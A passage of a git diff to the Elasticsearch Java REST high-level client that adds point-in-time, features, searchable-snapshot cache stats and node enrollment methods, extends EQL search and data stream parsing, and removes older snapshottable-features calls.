params.putParam("ccs_minimize_roundtrips", Boolean.toString(searchRequest.isCcsMinimizeRoundtrips())); + } if (searchRequest.getPreFilterShardSize() != null) { params.putParam("pre_filter_shard_size", Integer.toString(searchRequest.getPreFilterShardSize())); } @@ -428,6 +434,23 @@ static Request clearScroll(ClearScrollRequest clearScrollRequest) throws IOExcep return request; } + static Request openPointInTime(OpenPointInTimeRequest openRequest) { + Request request = new Request(HttpPost.METHOD_NAME, endpoint(openRequest.indices(), "_pit")); + Params params = new Params(); + params.withIndicesOptions(openRequest.indicesOptions()); + params.withRouting(openRequest.routing()); + params.withPreference(openRequest.preference()); + params.putParam("keep_alive", openRequest.keepAlive()); + request.addParameters(params.asMap()); + return request; + } + + static Request closePointInTime(ClosePointInTimeRequest closeRequest) throws IOException { + Request request = new Request(HttpDelete.METHOD_NAME, "/_pit"); + request.setEntity(createEntity(closeRequest, REQUEST_BODY_CONTENT_TYPE)); + return request; + } + static Request multiSearch(MultiSearchRequest multiSearchRequest) throws IOException { Request request = new Request(HttpPost.METHOD_NAME, "/_msearch"); @@ -452,7 +475,7 @@ static Request searchTemplate(SearchTemplateRequest searchTemplateRequest) throw } else { SearchRequest searchRequest = searchTemplateRequest.getRequest(); String endpoint = endpoint(searchRequest.indices(), "_search/template"); - request = new Request(HttpGet.METHOD_NAME, endpoint); + request = new Request(HttpPost.METHOD_NAME, endpoint); Params params = new Params(); addSearchRequestParams(params, searchRequest); @@ -568,7 +591,8 @@ private static Request prepareReindexRequest(ReindexRequest reindexRequest, bool .withTimeout(reindexRequest.getTimeout()) .withWaitForActiveShards(reindexRequest.getWaitForActiveShards()) .withRequestsPerSecond(reindexRequest.getRequestsPerSecond()) - .withSlices(reindexRequest.getSlices()); + .withSlices(reindexRequest.getSlices()) + .withRequireAlias(reindexRequest.getDestination().isRequireAlias()); if (reindexRequest.getScrollTime() != null) { params.putParam("scroll", reindexRequest.getScrollTime()); @@ -1003,6 +1027,13 @@ Params withWaitForActiveShards(ActiveShardCount activeShardCount, ActiveShardCou return this; } + Params withRequireAlias(boolean requireAlias) { + if (requireAlias) { + return putParam("require_alias", Boolean.toString(requireAlias)); + } + return this; + } + Params withIndicesOptions(IndicesOptions indicesOptions) { if (indicesOptions != null) { withIgnoreUnavailable(indicesOptions.ignoreUnavailable()); diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/RestHighLevelClient.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/RestHighLevelClient.java index a2b4dd0aafd10..610035ebf6d17 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/RestHighLevelClient.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/RestHighLevelClient.java @@ -35,8 +35,12 @@ import org.elasticsearch.action.index.IndexResponse; import org.elasticsearch.action.search.ClearScrollRequest; import org.elasticsearch.action.search.ClearScrollResponse; +import org.elasticsearch.action.search.ClosePointInTimeRequest; +import org.elasticsearch.action.search.ClosePointInTimeResponse; import org.elasticsearch.action.search.MultiSearchRequest; import org.elasticsearch.action.search.MultiSearchResponse; +import org.elasticsearch.action.search.OpenPointInTimeRequest; +import org.elasticsearch.action.search.OpenPointInTimeResponse; import org.elasticsearch.action.search.SearchRequest; import org.elasticsearch.action.search.SearchResponse; import org.elasticsearch.action.search.SearchScrollRequest; @@ -265,6 +269,7 @@ public class RestHighLevelClient implements Closeable { private final AsyncSearchClient asyncSearchClient = new AsyncSearchClient(this); private final TextStructureClient textStructureClient = new TextStructureClient(this); private final SearchableSnapshotsClient searchableSnapshotsClient = new SearchableSnapshotsClient(this); + private final FeaturesClient featuresClient = new FeaturesClient(this); /** * Creates a {@link RestHighLevelClient} given the low level {@link RestClientBuilder} that allows to build the @@ -465,6 +470,16 @@ public SearchableSnapshotsClient searchableSnapshots() { return searchableSnapshotsClient; } + /** + * A wrapper for the {@link RestHighLevelClient} that provides methods for accessing the Searchable Snapshots APIs. + *

+ * See the Searchable Snapshots + * APIs on elastic.co for more information. + */ + public FeaturesClient features() { + return featuresClient; + } + /** * Provides methods for accessing the Elastic Licensed Migration APIs that * are shipped with the default distribution of Elasticsearch. All of @@ -1272,6 +1287,66 @@ public final Cancellable clearScrollAsync(ClearScrollRequest clearScrollRequest, options, ClearScrollResponse::fromXContent, listener, emptySet()); } + /** + * Open a point in time before using it in search requests. + * See Point in time API + * @param openRequest the open request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * @return the response containing the point in time id + */ + public final OpenPointInTimeResponse openPointInTime(OpenPointInTimeRequest openRequest, + RequestOptions options) throws IOException { + return performRequestAndParseEntity(openRequest, RequestConverters::openPointInTime, + options, OpenPointInTimeResponse::fromXContent, emptySet()); + } + + /** + * Asynchronously open a point in time before using it in search requests + * See Point in time API + * @param openRequest the open request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * @param listener the listener to be notified upon request completion + * @return a cancellable that may be used to cancel the request + */ + public final Cancellable openPointInTimeAsync(OpenPointInTimeRequest openRequest, + RequestOptions options, + ActionListener listener) { + return performRequestAsyncAndParseEntity(openRequest, RequestConverters::openPointInTime, + options, OpenPointInTimeResponse::fromXContent, listener, emptySet()); + } + + /** + * Close a point in time that is opened with {@link #openPointInTime(OpenPointInTimeRequest, RequestOptions)} or + * {@link #openPointInTimeAsync(OpenPointInTimeRequest, RequestOptions, ActionListener)}. + * See + * Close point in time API + * @param closeRequest the close request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * @return the response + */ + public final ClosePointInTimeResponse closePointInTime(ClosePointInTimeRequest closeRequest, + RequestOptions options) throws IOException { + return performRequestAndParseEntity(closeRequest, RequestConverters::closePointInTime, options, + ClosePointInTimeResponse::fromXContent, emptySet()); + } + + /** + * Asynchronously close a point in time that is opened with {@link #openPointInTime(OpenPointInTimeRequest, RequestOptions)} or + * {@link #openPointInTimeAsync(OpenPointInTimeRequest, RequestOptions, ActionListener)}. + * See + * Close point in time API + * @param closeRequest the close request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * @param listener the listener to be notified upon request completion + * @return a cancellable that may be used to cancel the request + */ + public final Cancellable closePointInTimeAsync(ClosePointInTimeRequest closeRequest, + RequestOptions options, + ActionListener listener) { + return performRequestAsyncAndParseEntity(closeRequest, RequestConverters::closePointInTime, + options, ClosePointInTimeResponse::fromXContent, listener, emptySet()); + } + /** * Executes a request using the Search Template API. * See Search Template API diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/SearchableSnapshotsClient.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/SearchableSnapshotsClient.java index 66ef048e9ab1b..fecbea6ee5a8f 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/SearchableSnapshotsClient.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/SearchableSnapshotsClient.java @@ -10,6 +10,8 @@ import org.elasticsearch.action.ActionListener; import org.elasticsearch.action.admin.cluster.snapshots.restore.RestoreSnapshotResponse; +import org.elasticsearch.client.searchable_snapshots.CachesStatsRequest; +import org.elasticsearch.client.searchable_snapshots.CachesStatsResponse; import org.elasticsearch.client.searchable_snapshots.MountSnapshotRequest; import java.io.IOException; @@ -74,4 +76,47 @@ public Cancellable mountSnapshotAsync( ); } + /** + * Executes the cache stats API, which provides statistics about searchable snapshot cache. + * + * See the + * docs for more information. + * + * @param request the request + * @param options the request options + * @return the response + * @throws IOException if an I/O exception occurred sending the request, or receiving or parsing the response + */ + public CachesStatsResponse cacheStats(final CachesStatsRequest request, final RequestOptions options) throws IOException { + return restHighLevelClient.performRequestAndParseEntity( + request, + SearchableSnapshotsRequestConverters::cacheStats, + options, + CachesStatsResponse::fromXContent, + Collections.emptySet() + ); + } + + /** + * Asynchronously executes the cache stats API, which provides statistics about searchable snapshot cache. + * + * @param request the request + * @param options the request options + * @param listener the listener to be notified upon request completion + * @return cancellable that may be used to cancel the request + */ + public Cancellable cacheStatsAsync( + final CachesStatsRequest request, + final RequestOptions options, + final ActionListener listener) + { + return restHighLevelClient.performRequestAsyncAndParseEntity( + request, + SearchableSnapshotsRequestConverters::cacheStats, + options, + CachesStatsResponse::fromXContent, + listener, + Collections.emptySet() + ); + } } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/SearchableSnapshotsRequestConverters.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/SearchableSnapshotsRequestConverters.java index 3b90495f42e13..c2785e9253f17 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/SearchableSnapshotsRequestConverters.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/SearchableSnapshotsRequestConverters.java @@ -8,7 +8,9 @@ package org.elasticsearch.client; +import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; +import org.elasticsearch.client.searchable_snapshots.CachesStatsRequest; import org.elasticsearch.client.searchable_snapshots.MountSnapshotRequest; import java.io.IOException; @@ -41,4 +43,13 @@ static Request mountSnapshot(final MountSnapshotRequest mountSnapshotRequest) th return request; } + static Request cacheStats(final CachesStatsRequest cacheStatsRequest) { + final RequestConverters.EndpointBuilder endpoint = new RequestConverters.EndpointBuilder() + .addPathPartAsIs("_searchable_snapshots"); + if (cacheStatsRequest.getNodesIds() != null) { + endpoint.addCommaSeparatedPathParts(cacheStatsRequest.getNodesIds()); + } + endpoint.addPathPartAsIs("cache", "stats"); + return new Request(HttpGet.METHOD_NAME, endpoint.build()); + } } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/SecurityClient.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/SecurityClient.java index 6d0c49c92dcf6..5c6057a04caa7 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/SecurityClient.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/SecurityClient.java @@ -59,6 +59,8 @@ import org.elasticsearch.client.security.InvalidateApiKeyResponse; import org.elasticsearch.client.security.InvalidateTokenRequest; import org.elasticsearch.client.security.InvalidateTokenResponse; +import org.elasticsearch.client.security.NodeEnrollmentRequest; +import org.elasticsearch.client.security.NodeEnrollmentResponse; import org.elasticsearch.client.security.PutPrivilegesRequest; import org.elasticsearch.client.security.PutPrivilegesResponse; import org.elasticsearch.client.security.PutRoleMappingRequest; @@ -1130,4 +1132,27 @@ public Cancellable delegatePkiAuthenticationAsync(DelegatePkiAuthenticationReque return restHighLevelClient.performRequestAsyncAndParseEntity(request, SecurityRequestConverters::delegatePkiAuthentication, options, DelegatePkiAuthenticationResponse::fromXContent, listener, emptySet()); } + + + /** + * Allows a node to join to a cluster with security features enabled using the Enroll Node API. + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * @return the response + * @throws IOException in case there is a problem sending the request or parsing back the response + */ + public NodeEnrollmentResponse enrollNode(RequestOptions options) throws IOException { + return restHighLevelClient.performRequestAndParseEntity( + NodeEnrollmentRequest.INSTANCE, NodeEnrollmentRequest::getRequest, + options, NodeEnrollmentResponse::fromXContent, emptySet()); + } + + /** + * Asynchronously allows a node to join to a cluster with security features enabled using the Enroll Node API. + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * @param listener the listener to be notified upon request completion. The listener will be called with the value {@code true} + */ + public Cancellable enrollNodeAsync(RequestOptions options, ActionListener listener) { + return restHighLevelClient.performRequestAsyncAndParseEntity(NodeEnrollmentRequest.INSTANCE, NodeEnrollmentRequest::getRequest, + options, NodeEnrollmentResponse::fromXContent, listener, emptySet()); + } } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/SnapshotClient.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/SnapshotClient.java index a96b39357ac1d..730399481f72b 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/SnapshotClient.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/SnapshotClient.java @@ -28,8 +28,6 @@ import org.elasticsearch.action.admin.cluster.snapshots.status.SnapshotsStatusRequest; import org.elasticsearch.action.admin.cluster.snapshots.status.SnapshotsStatusResponse; import org.elasticsearch.action.support.master.AcknowledgedResponse; -import org.elasticsearch.client.snapshots.GetSnapshottableFeaturesRequest; -import org.elasticsearch.client.snapshots.GetSnapshottableFeaturesResponse; import java.io.IOException; @@ -380,47 +378,4 @@ public Cancellable deleteAsync(DeleteSnapshotRequest deleteSnapshotRequest, Requ SnapshotRequestConverters::deleteSnapshot, options, AcknowledgedResponse::fromXContent, listener, emptySet()); } - - /** - * Get a list of features which can be included in a snapshot as feature states. - * See Get Snapshottable - * Features API on elastic.co - * - * @param getFeaturesRequest the request - * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized - * @return the response - * @throws IOException in case there is a problem sending the request or parsing back the response - */ - public GetSnapshottableFeaturesResponse getFeatures(GetSnapshottableFeaturesRequest getFeaturesRequest, RequestOptions options) - throws IOException { - return restHighLevelClient.performRequestAndParseEntity( - getFeaturesRequest, - SnapshotRequestConverters::getSnapshottableFeatures, - options, - GetSnapshottableFeaturesResponse::parse, - emptySet() - ); - } - - /** - * Asynchronously get a list of features which can be included in a snapshot as feature states. - * See Get Snapshottable - * Features API on elastic.co - * - * @param getFeaturesRequest the request - * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized - * @param listener the listener to be notified upon request completion - * @return cancellable that may be used to cancel the request - */ - public Cancellable getFeaturesAsync(GetSnapshottableFeaturesRequest getFeaturesRequest, RequestOptions options, - ActionListener listener) { - return restHighLevelClient.performRequestAsyncAndParseEntity( - getFeaturesRequest, - SnapshotRequestConverters::getSnapshottableFeatures, - options, - GetSnapshottableFeaturesResponse::parse, - listener, - emptySet() - ); - } } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/SnapshotRequestConverters.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/SnapshotRequestConverters.java index 21dc404036886..31383d0c351bc 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/SnapshotRequestConverters.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/SnapshotRequestConverters.java @@ -23,7 +23,6 @@ import org.elasticsearch.action.admin.cluster.snapshots.get.GetSnapshotsRequest; import org.elasticsearch.action.admin.cluster.snapshots.restore.RestoreSnapshotRequest; import org.elasticsearch.action.admin.cluster.snapshots.status.SnapshotsStatusRequest; -import org.elasticsearch.client.snapshots.GetSnapshottableFeaturesRequest; import org.elasticsearch.common.Strings; import java.io.IOException; @@ -191,13 +190,4 @@ static Request deleteSnapshot(DeleteSnapshotRequest deleteSnapshotRequest) { request.addParameters(parameters.asMap()); return request; } - - static Request getSnapshottableFeatures(GetSnapshottableFeaturesRequest getSnapshottableFeaturesRequest) { - String endpoint = "/_snapshottable_features"; - Request request = new Request(HttpGet.METHOD_NAME, endpoint); - RequestConverters.Params parameters = new RequestConverters.Params(); - parameters.withMasterTimeout(getSnapshottableFeaturesRequest.masterNodeTimeout()); - request.addParameters(parameters.asMap()); - return request; - } } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/eql/EqlSearchRequest.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/eql/EqlSearchRequest.java index 9c0a7a50f78e0..fd1241149bb20 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/eql/EqlSearchRequest.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/eql/EqlSearchRequest.java @@ -15,11 +15,16 @@ import org.elasticsearch.common.xcontent.ToXContentObject; import org.elasticsearch.common.xcontent.XContentBuilder; import org.elasticsearch.index.query.QueryBuilder; +import org.elasticsearch.search.fetch.subphase.FieldAndFormat; import java.io.IOException; import java.util.Arrays; +import java.util.List; +import java.util.Map; import java.util.Objects; +import static java.util.Collections.emptyMap; + public class EqlSearchRequest implements Validatable, ToXContentObject { private String[] indices; @@ -29,6 +34,8 @@ public class EqlSearchRequest implements Validatable, ToXContentObject { private String timestampField = "@timestamp"; private String eventCategoryField = "event.category"; private String resultPosition = "tail"; + private List fetchFields; + private Map runtimeMappings = emptyMap(); private int size = 10; private int fetchSize = 1000; @@ -51,6 +58,8 @@ public class EqlSearchRequest implements Validatable, ToXContentObject { static final String KEY_WAIT_FOR_COMPLETION_TIMEOUT = "wait_for_completion_timeout"; static final String KEY_KEEP_ALIVE = "keep_alive"; static final String KEY_KEEP_ON_COMPLETION = "keep_on_completion"; + static final String KEY_FETCH_FIELDS = "fields"; + static final String KEY_RUNTIME_MAPPINGS = "runtime_mappings"; public EqlSearchRequest(String indices, String query) { indices(indices); @@ -80,6 +89,12 @@ public XContentBuilder toXContent(XContentBuilder builder, ToXContent.Params par builder.field(KEY_KEEP_ALIVE, keepAlive); } builder.field(KEY_KEEP_ON_COMPLETION, keepOnCompletion); + if (fetchFields != null) { + builder.field(KEY_FETCH_FIELDS, fetchFields); + } + if (runtimeMappings != null && runtimeMappings.isEmpty() == false) { + builder.field(KEY_RUNTIME_MAPPINGS, runtimeMappings); + } builder.endObject(); return builder; } @@ -145,6 +160,24 @@ public EqlSearchRequest resultPosition(String position) { return this; } + public List fetchFields() { + return fetchFields; + } + + public EqlSearchRequest fetchFields(List fetchFields) { + this.fetchFields = fetchFields; + return this; + } + + public Map runtimeMappings() { + return runtimeMappings; + } + + public EqlSearchRequest runtimeMappings(Map runtimeMappings) { + this.runtimeMappings = runtimeMappings; + return this; + } + public int size() { return this.size; } @@ -226,7 +259,9 @@ public boolean equals(Object o) { Objects.equals(waitForCompletionTimeout, that.waitForCompletionTimeout) && Objects.equals(keepAlive, that.keepAlive) && Objects.equals(keepOnCompletion, that.keepOnCompletion) && - Objects.equals(resultPosition, that.resultPosition); + Objects.equals(resultPosition, that.resultPosition) && + Objects.equals(fetchFields, that.fetchFields) && + Objects.equals(runtimeMappings, that.runtimeMappings); } @Override @@ -244,7 +279,9 @@ public int hashCode() { waitForCompletionTimeout, keepAlive, keepOnCompletion, - resultPosition); + resultPosition, + fetchFields, + runtimeMappings); } public String[] indices() { diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/GetFeaturesRequest.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/GetFeaturesRequest.java new file mode 100644 index 0000000000000..71ff178585cf1 --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/GetFeaturesRequest.java @@ -0,0 +1,17 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client.feature; + +import org.elasticsearch.client.TimedRequest; + +/** + * A {@link TimedRequest} to get the list of features available to be included in snapshots in the cluster. + */ +public class GetFeaturesRequest extends TimedRequest { +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/GetFeaturesResponse.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/GetFeaturesResponse.java new file mode 100644 index 0000000000000..fb533da2e63bb --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/GetFeaturesResponse.java @@ -0,0 +1,108 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client.feature; + +import org.elasticsearch.common.ParseField; +import org.elasticsearch.common.xcontent.ConstructingObjectParser; +import org.elasticsearch.common.xcontent.ObjectParser; +import org.elasticsearch.common.xcontent.XContentParser; + +import java.util.List; +import java.util.Objects; + +public class GetFeaturesResponse { + + private final List features; + + private static final ParseField FEATURES = new ParseField("features"); + + @SuppressWarnings("unchecked") + private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( + "snapshottable_features_response", true, (a, ctx) -> new GetFeaturesResponse((List) a[0]) + ); + + static { + PARSER.declareObjectArray(ConstructingObjectParser.constructorArg(), SnapshottableFeature::parse, FEATURES); + } + + public GetFeaturesResponse(List features) { + this.features = features; + } + + public List getFeatures() { + return features; + } + + public static GetFeaturesResponse parse(XContentParser parser) { + return PARSER.apply(parser, null); + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if ((o instanceof GetFeaturesResponse) == false) return false; + GetFeaturesResponse that = (GetFeaturesResponse) o; + return getFeatures().equals(that.getFeatures()); + } + + @Override + public int hashCode() { + return Objects.hash(getFeatures()); + } + + public static class SnapshottableFeature { + + private final String featureName; + private final String description; + + private static final ParseField FEATURE_NAME = new ParseField("name"); + private static final ParseField DESCRIPTION = new ParseField("description"); + + private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( + "feature", true, (a, ctx) -> new SnapshottableFeature((String) a[0], (String) a[1]) + ); + + static { + PARSER.declareField(ConstructingObjectParser.constructorArg(), + (p, c) -> p.text(), FEATURE_NAME, ObjectParser.ValueType.STRING); + PARSER.declareField(ConstructingObjectParser.constructorArg(), + (p, c) -> p.text(), DESCRIPTION, ObjectParser.ValueType.STRING); + } + + public SnapshottableFeature(String featureName, String description) { + this.featureName = featureName; + this.description = description; + } + + public static SnapshottableFeature parse(XContentParser parser, Void ctx) { + return PARSER.apply(parser, ctx); + } + + public String getFeatureName() { + return featureName; + } + + public String getDescription() { + return description; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if ((o instanceof SnapshottableFeature) == false) return false; + SnapshottableFeature feature = (SnapshottableFeature) o; + return Objects.equals(getFeatureName(), feature.getFeatureName()); + } + + @Override + public int hashCode() { + return Objects.hash(getFeatureName()); + } + } +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/ResetFeaturesRequest.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/ResetFeaturesRequest.java new file mode 100644 index 0000000000000..7e49a562c9a4e --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/ResetFeaturesRequest.java @@ -0,0 +1,14 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client.feature; + +import org.elasticsearch.client.TimedRequest; + +public class ResetFeaturesRequest extends TimedRequest { +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/ResetFeaturesResponse.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/ResetFeaturesResponse.java new file mode 100644 index 0000000000000..a8798842c5ffa --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/feature/ResetFeaturesResponse.java @@ -0,0 +1,133 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client.feature; + +import org.elasticsearch.ElasticsearchException; +import org.elasticsearch.common.Nullable; +import org.elasticsearch.common.ParseField; +import org.elasticsearch.common.xcontent.ConstructingObjectParser; +import org.elasticsearch.common.xcontent.ObjectParser; +import org.elasticsearch.common.xcontent.XContentParser; + +import java.util.List; +import java.util.Objects; + +/** + * This class represents the response of the Feature State Reset API. It is a + * list containing the response of every feature whose state can be reset. The + * response from each feature will indicate success or failure. In the case of a + * failure, the cause will be returned as well. + */ +public class ResetFeaturesResponse { + private final List features; + + private static final ParseField FEATURES = new ParseField("features"); + + @SuppressWarnings("unchecked") + private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( + "features_reset_status_response", true, + (a, ctx) -> new ResetFeaturesResponse((List) a[0]) + ); + + static { + PARSER.declareObjectArray( + ConstructingObjectParser.constructorArg(), + ResetFeaturesResponse.ResetFeatureStateStatus::parse, FEATURES); + } + + /** + * Create a new ResetFeaturesResponse + * @param features A full list of status responses from individual feature reset operations. + */ + public ResetFeaturesResponse(List features) { + this.features = features; + } + + /** + * @return List containing a reset status for each feature that we have tried to reset. + */ + public List getFeatureResetStatuses() { + return features; + } + + public static ResetFeaturesResponse parse(XContentParser parser) { + return PARSER.apply(parser, null); + } + + /** + * A class representing the status of an attempt to reset a feature's state. + * The attempt to reset either succeeds and we return the name of the + * feature and a success flag; or it fails and we return the name of the feature, + * a status flag, and the exception thrown during the attempt to reset the feature. + */ + public static class ResetFeatureStateStatus { + private final String featureName; + private final String status; + private final Exception exception; + + private static final ParseField FEATURE_NAME = new ParseField("feature_name"); + private static final ParseField STATUS = new ParseField("status"); + private static final ParseField EXCEPTION = new ParseField("exception"); + + private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( + "feature_state_reset_stats", true, + (a, ctx) -> new ResetFeatureStateStatus((String) a[0], (String) a[1], (ElasticsearchException) a[2]) + ); + + static { + PARSER.declareField(ConstructingObjectParser.constructorArg(), + (p, c) -> p.text(), FEATURE_NAME, ObjectParser.ValueType.STRING); + PARSER.declareField(ConstructingObjectParser.constructorArg(), + (p, c) -> p.text(), STATUS, ObjectParser.ValueType.STRING); + PARSER.declareObject(ConstructingObjectParser.optionalConstructorArg(), + (p, c) -> ElasticsearchException.fromXContent(p), EXCEPTION); + } + + /** + * Create a ResetFeatureStateStatus. + * @param featureName Name of the feature whose status has been reset. + * @param status Whether the reset attempt succeeded or failed. + * @param exception If the reset attempt failed, the exception that caused the + * failure. Must be null when status is "SUCCESS". + */ + ResetFeatureStateStatus(String featureName, String status, @Nullable Exception exception) { + this.featureName = featureName; + assert "SUCCESS".equals(status) || "FAILURE".equals(status); + this.status = status; + assert "FAILURE".equals(status) ? Objects.nonNull(exception) : Objects.isNull(exception); + this.exception = exception; + } + + public static ResetFeatureStateStatus parse(XContentParser parser, Void ctx) { + return PARSER.apply(parser, ctx); + } + + /** + * @return Name of the feature that we tried to reset + */ + public String getFeatureName() { + return featureName; + } + + /** + * @return "SUCCESS" if the reset attempt succeeded, "FAILURE" otherwise. + */ + public String getStatus() { + return status; + } + + /** + * @return The exception that caused the reset attempt to fail. + */ + @Nullable + public Exception getException() { + return exception; + } + } +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/ilm/MigrateAction.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/ilm/MigrateAction.java index b023f320d98d9..e2c3e367d9247 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/ilm/MigrateAction.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/ilm/MigrateAction.java @@ -56,6 +56,10 @@ public String getName() { return NAME; } + boolean isEnabled() { + return enabled; + } + @Override public int hashCode() { return Objects.hashCode(enabled); @@ -69,7 +73,7 @@ public boolean equals(Object obj) { if (obj.getClass() != getClass()) { return false; } - return true; + return enabled == ((MigrateAction) obj).enabled; } @Override diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/indices/DataStream.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/indices/DataStream.java index 32f62aeeafa0b..db27600a5cc9c 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/indices/DataStream.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/indices/DataStream.java @@ -26,6 +26,7 @@ public final class DataStream { private final List indices; private final long generation; private final boolean hidden; + private final boolean system; ClusterHealthStatus dataStreamStatus; @Nullable String indexTemplate; @@ -36,7 +37,7 @@ public final class DataStream { public DataStream(String name, String timeStampField, List indices, long generation, ClusterHealthStatus dataStreamStatus, @Nullable String indexTemplate, @Nullable String ilmPolicyName, @Nullable Map metadata, - boolean hidden) { + boolean hidden, boolean system) { this.name = name; this.timeStampField = timeStampField; this.indices = indices; @@ -46,6 +47,7 @@ public DataStream(String name, String timeStampField, List indices, long this.ilmPolicyName = ilmPolicyName; this.metadata = metadata; this.hidden = hidden; + this.system = system; } public String getName() { @@ -84,6 +86,10 @@ public boolean isHidden() { return hidden; } + public boolean isSystem() { + return system; + } + public static final ParseField NAME_FIELD = new ParseField("name"); public static final ParseField TIMESTAMP_FIELD_FIELD = new ParseField("timestamp_field"); public static final ParseField INDICES_FIELD = new ParseField("indices"); @@ -93,6 +99,7 @@ public boolean isHidden() { public static final ParseField ILM_POLICY_FIELD = new ParseField("ilm_policy"); public static final ParseField METADATA_FIELD = new ParseField("_meta"); public static final ParseField HIDDEN_FIELD = new ParseField("hidden"); + public static final ParseField SYSTEM_FIELD = new ParseField("system"); @SuppressWarnings("unchecked") private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>("data_stream", @@ -107,9 +114,10 @@ public boolean isHidden() { String indexTemplate = (String) args[5]; String ilmPolicy = (String) args[6]; Map metadata = (Map) args[7]; - Boolean hidden = (Boolean) args[8]; - hidden = hidden != null && hidden; - return new DataStream(dataStreamName, timeStampField, indices, generation, status, indexTemplate, ilmPolicy, metadata, hidden); + boolean hidden = args[8] != null && (boolean) args[8]; + boolean system = args[9] != null && (boolean) args[9]; + return new DataStream(dataStreamName, timeStampField, indices, generation, status, indexTemplate, ilmPolicy, metadata, hidden, + system); }); static { @@ -122,6 +130,7 @@ public boolean isHidden() { PARSER.declareString(ConstructingObjectParser.optionalConstructorArg(), ILM_POLICY_FIELD); PARSER.declareObject(ConstructingObjectParser.optionalConstructorArg(), (p, c) -> p.map(), METADATA_FIELD); PARSER.declareBoolean(ConstructingObjectParser.optionalConstructorArg(), HIDDEN_FIELD); + PARSER.declareBoolean(ConstructingObjectParser.optionalConstructorArg(), SYSTEM_FIELD); } public static DataStream fromXContent(XContentParser parser) throws IOException { 